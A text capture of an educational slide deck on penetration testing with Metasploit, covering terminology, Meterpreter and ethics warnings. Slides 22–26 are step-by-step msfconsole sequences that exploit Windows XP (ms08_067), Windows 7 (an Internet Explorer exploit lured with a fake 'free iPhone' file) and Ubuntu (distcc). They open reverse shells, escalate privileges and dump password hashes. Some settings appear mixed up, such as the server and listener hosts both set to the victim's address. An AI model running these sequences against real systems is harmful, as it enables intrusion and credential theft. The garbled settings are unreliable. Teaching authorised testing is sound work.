Penetration testing using Metasploit. Windows Xp Windows 7 Linux Server

1. Pen-Testing With MetasploitBy -Mohammed Danish Amber

2. AGENDA ▪ Why & What's Pen-Testing ▪ About Metasploit ▪ Metasploit Basic & Meterpreter ▪ Demo

3. Mohammed Danish Amber ▪ Geek & Security Analyst ▪ Information Security Enthusiast ▪ Working in TCS ▪ Lecturer & Engineer ▪ Collaborative Project -Hacker Ecosystem ▪ Make Internet a Secure Place

4. Why Pen-Testing ▪ Millions of dollars have been invested in security programs to protect critical infrastructure to prevent data breaches ▪ Penetration Test is one of the most effective ways to identify weaknesses and deficiencies in these programs

5. What's Pen-Testing ▪ A method to evaluate the security of computer system / network ▪ Practice ( attacking ) an IT System like a ‘hacker’ does– Find security holes (weaknesses) – Bypass security mechanism– Compromise an organization’s IT system securityMUST HAVE PERMISSION FROM IT SYSTEM OWNERILLEGAL ACTIVITY CAN PUT YOU IN JAIL!

6. ETHICS ▪ THINK BEFORE YOU ACT ▪ DON'T BE STUPID ▪ DON'T BE MALICIOUS

7. PEN-TESTING PHASES
INFORMATION GATHERING
VULNERABILITY ANALYSIS
EXPLOITATION
POST EXPLOITATION
REPORTING

9. Metasploit ▪ Not Just A Tool but an entire framework ▪ An Open Source platform for writing security tools and exploits ▪ Easily build attack vectors to add it's exploits, payloads, encoders. ▪ Create and execute more advanced attack ▪ Ruby based

10. Metsaploit Interface ▪ MSFconsole ▪ msfweb, msfgui (discontinued) ▪ Metasploit Pro & Community Edition ▪ Armitage

11. MSFconsole

12. MSFcli

13. Metasploit Terminology ▪ Exploit: Code that allow a pentester take some advantages of flaw within system,application, or service ▪ Payload: Code that we want the target system to execute (few commands to be executed on the target system) ▪ Shellcode: A set of instructions used as payload when exploitation occurs ▪ Module: A software that can be use by metasploit ▪ Listener: A component waiting for incoming connection

14. How does Exploitation works
Attacker
Sends: Exploit + PayloadUpload + download DATA
Vulnerable Server
Exploit run + Payload run

15. Meterpreter ▪ As a payload after vulnerability is exploited ▪ Improve the post exploitation

16. Meterpreter
Exploiting a vulnerability
Select a meterpreter as a payload
Meterpreter shell

17. Metereperter Commands

18. Metereperter Commands

19. Metereperter Commands

20. Metereperter Commands

21. Metereperter Commands

22. Windows XP Exploitation ▪ msf > search windows/smb ▪ msf > info exploit/windows/smb/ms08_067_ netapi ▪ msf > use exploit/windows/smb/ms08_067_ netapi ▪ msf exploit(ms08_067_netapi) > show payloads ▪ msf exploit(ms08_067_netapi) > set PAYLOAD ▪ windows/meterpreter/reverse_tcp ▪ msf exploit(ms08_067_netapi) > show options ▪ msf exploit(ms08_067_netapi) > set RHOST <remote ip> ▪ msf exploit(ms08_067_netapi) > set LHOST <attacker ip> ▪ msf exploit(ms08_067_netapi) > show options ▪ msf exploit(ms08_067_netapi) > exploit ▪ meterpreter > background ▪ session -l

23. Windows XP Exploitation ▪ session -i 1 ▪ meterpreter > getsystem -h ▪ getuid ▪ hashdump

24. Windows 7 Exploitation ▪ msf > use exploit/windows/browser/ms11_003_ie_css_import ▪ msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp ▪ msf exploit(ms11_003_ie_css_import) > show options ▪ msf exploit(ms11_003_ie_css_import) > set SRVHOST <victim ip> ▪ msf exploit(ms11_003_ie_css_import) > set SRVPORT 80 ▪ msf exploit(ms11_003_ie_css_import) > set URIPATH free_iphone6plus.exe ▪ msf exploit(ms11_003_ie_css_import) > set LHOST <victim ip> ▪ msf exploit(ms11_003_ie_css_import) > set LPORT 443 ▪ msf exploit(ms11_003_ie_css_import) > exploitJust wait until the victim open url http://<ip>:80/free_iphon6plus.exe

25. Windows 7 Exploitation ▪ msf exploit(ms11_003_ie_css_import) > sessions -l ▪ msf exploit(ms11_003_ie_css_import) > sessions -i 1 ▪ meterpreter > sysinfo ▪ meterpreter > shell

26. Ubuntu Exploitation ▪ search distcc ▪ use exploit/unix/misc/distcc_exec ▪ show payloads ▪ set PAYLOAD cmd/unix/reverse ▪ show options ▪ set rhost <victim ip> ▪ set lhost <attacker ip>

27. Any Questions?

28. Thanks To ▪ Kali / BackTrack Linux ▪ Metasploit Team (HD Moore & rapid7) ▪ Offensive Security / Metasploit Unleashed ▪ David Kennedy ▪ Georgia Weidman ▪ Null Hyderabad Chapter -CORE TEAM ▪ #nullhyd @

29. WWW.MOHAMMEDDANISHAMBER.COM